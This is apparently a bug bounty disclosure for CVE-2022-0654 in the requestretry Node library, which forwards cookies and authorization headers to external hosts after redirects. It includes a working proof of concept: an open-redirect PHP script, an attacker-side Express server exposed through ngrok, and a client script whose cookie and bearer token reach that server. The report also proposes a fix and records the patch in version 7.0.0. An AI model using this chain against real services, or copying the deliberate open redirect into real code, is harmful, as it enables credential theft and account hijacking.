Exposure of Sensitive Information to an Unauthorized Actor in fgribreau/node-request-retry

1

Valid Reported on Feb 10th 2022

Exposure of Sensitive Information to an Unauthorized Actor in FGRibreau/node-request-retry

Reported on Feb 10 2022 | Timothee Desurmont
Vulnerability type: CWE-200

Bug

Cookies are leaked to external sites.

Description

```
request(`${mysite}/redirect.php?url=${attacker}/`, options)
```

When fetching a (Redirect) url containing a link to an external site in the params `?url=${attacker}`, the users Cookies are leaked to the third party application:

```
{
  headers: {
    host: '304e-92-98-215-185.ngrok.io',
    cookie: 'ajs_anonymous_id=1234567890"',
    referer:
    'http://192.168.2.31/redirect.php?url=http://304e-92-98-215-185.ngrok
    'x-forwarded-for': '92.98.215.185',
    'x-forwarded-proto': 'http',
    'accept-encoding': 'gzip'
  }
}
```

Headers should be "sanitized".

Steps to reproduce

We will run an appache server on port 80 that will redirect all incoming requests to the url specified in the params (mysite).
We will run an expressjs server on port 3000 that will represent the external site (attacker).
To prove that the Cookie are leaked to external sites, the attacker url needs to be different than mysite; we will use ngrok to create a tcp tunnel for port 3000 and provide an internet address for the attacker site.

Proof of Concept

Add a redirect.php file in `/var/www/html/`

```
// /var/www/html/redirect.php
<?php
  $url=$_GET["url"];
  header("Location: $url");
  exit;
?>
```

Execute the following commands to start the apache server on port 80:

```
sudo apt-get update
sudo apt-get install php libapache2-mod-php
sudo systemctl restart apache2
```

Copy the code below in one file called server.js:

```
// ~/test/server.js
const express = require('express')
const app = express()

app.get('/', function (req, res) {
    console.log(req.headers);
    res.status(200).json({"headers": req.headers});
})
```

```
app.listen(3000)

console.log('listening on port 3000');
```

Execute the following command to start the express server on port 3000:

```
npm install express
node server.js
```

Open another terminal window and install ngrok:

```
sudo apt-get install -y ngrok-server
```

Lunch ngrok on the same terminal window wtih the following command: `ngrok http 3000`

```
Session Status                online
Account                       Timothee Desurmont (Plan: Free)
Update                        update available (version 2.3.40, Ctrl-U to u
Version                       2.3.35
Region                        United States (us)
Web Interface                 http://127.0.0.1:4040
Forwarding                    http://304e-92-98-215-185.ngrok.io -> http://
Forwarding                    https://304e-92-98-215-185.ngrok.io -> http:/
```

Copy the code below in one file called poc.js
Do not forget to replace mysite url with your local ip and attacker url with the one provided by ngrok.

```
// ~/test/poc.js
var request = require('requestretry');

const mysite = "http://192.168.2.31";
const attacker = "http://304e-92-98-215-185.ngrok.io";

const options = {
    method: 'GET',
    headers: {
```

```
        'Content-Type': 'application/json'
        ,'Cookie': 'ajs_anonymous_id=1234567890"',
        "Authorization": "Bearer eyJhb12345abcdef"
    }
};

request(`${mysite}/redirect.php?url=${attacker}/`, options)
.then(function (response) {
  console.log(JSON.parse(response.body));
})
.catch(function(error) {
  console.log(error)
})
```

Execute the following command in a third terminal window:

```
npm install requestretry
node poc.js
```

We get below response:

The request from poc.js gets redirected by our apache server (mysite) to the expressjs server (attackers site) which then send back the headers as a response. We can see that the Cookie of the victim have been leaked to the attacker.

```
{
  headers: {
    host: '304e-92-98-215-185.ngrok.io',
    cookie: 'ajs_anonymous_id=1234567890"',
    referer:
    'http://192.168.2.31/redirect.php?url=http://304e-92-98-215-185.ngrok.i
    'x-forwarded-for': '92.98.215.185',
    'x-forwarded-proto': 'http',
    'accept-encoding': 'gzip'
  }
}
```


Consequence

Access Control: Hijack of victims account.

The attacker can steal the user's credentials and then use these credentials to access the legitimate web site.

Suggested fix

If the redirected url is different from the url domain, the Cookie should be removed from the header.

CVE
CVE-2022-0654
(Published)

Vulnerability Type
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Severity
High (8.1)

Visibility
Public

Status
Fixed

Found by

Timothee Desurmont
@sampaguitas
legend

Fixed by

Timothee Desurmont
@sampaguitas
legend

This report was seen 708 times.

Chat with us

We are processing your report and will contact the fgribreau/node-request-retry team within

24 hours. 10 months ago

Timothee Desurmont modified the report 10 months ago

Timothee Desurmont modified the report 10 months ago

We created a GitHub Issue asking the maintainers to create a `SECURITY.md` 9 months ago

We have contacted a member of the fgribreau/node-request-retry team and are waiting to hear back 9 months ago

We have sent a follow up to the fgribreau/node-request-retry team. We will try again in 7 days. 9 months ago

Timothee Desurmont submitted a patch 9 months ago

fgribreau validated this vulnerability 9 months ago

Timothee Desurmont has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Timothee 9 months ago Researcher

Hi @admin, any chance to get the fix validated as well? my PR has been merged, I have also provided a test file here: https://www.github.com/fgribreau/node-request-retry

Jamie Slome 9 months ago Admin

Are you able to provide the commit that fixes this issue?

Timothee 9 months ago Researcher

Hi Jamie,

Here is the commit that fixes the issue:

https://github.com/FGRibreau/node-request-retry/pull/138/commits/0979c6001d9d57c2aac3157c11b007397158922a

I have also provided a test file (to run the test on mocha with npm run test) here:

https://github.com/FGRibreau/node-request-retry/pull/139/commits/afa27ef7e199f845151ae91663bd5aae9a30a6c3

With best regards,

Timothee

We have sent a fix follow up to the **fgribreau/node-request-retry** team. We will try again in 7 days. 9 months ago

Jamie Slome 9 months ago Admin

We will just give the maintainer a little time, to see if they confirm the fix and assign the fix reward.

Otherwise, I will be sure to confirm it on their behalf. Will keep a close eye on this report 👍

Timothee 9 months ago Researcher

No worries Jamie. In the meantime I got confirmation from the maintainer that the revised test file works (see last comment) it has not yet been merged thow:

https://github.com/FGRibreau/node-request-retry/pull/139/commits/afa27ef7e199f845151ae91663bd5aae9a30a6c3

Timothee 9 months ago Researcher

Hi Jamie, bug has been fixed and released in version 7.0.0 🥳

Jamie Slome marked this as fixed in **7.0.0** with commit **0979c6** 9 months ago

Timothee Desurmont has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Jamie Slome 9 months ago Admin

Patch confirmed 🎉 The CVE should publish shortly too 👍

Sign in to join this conversation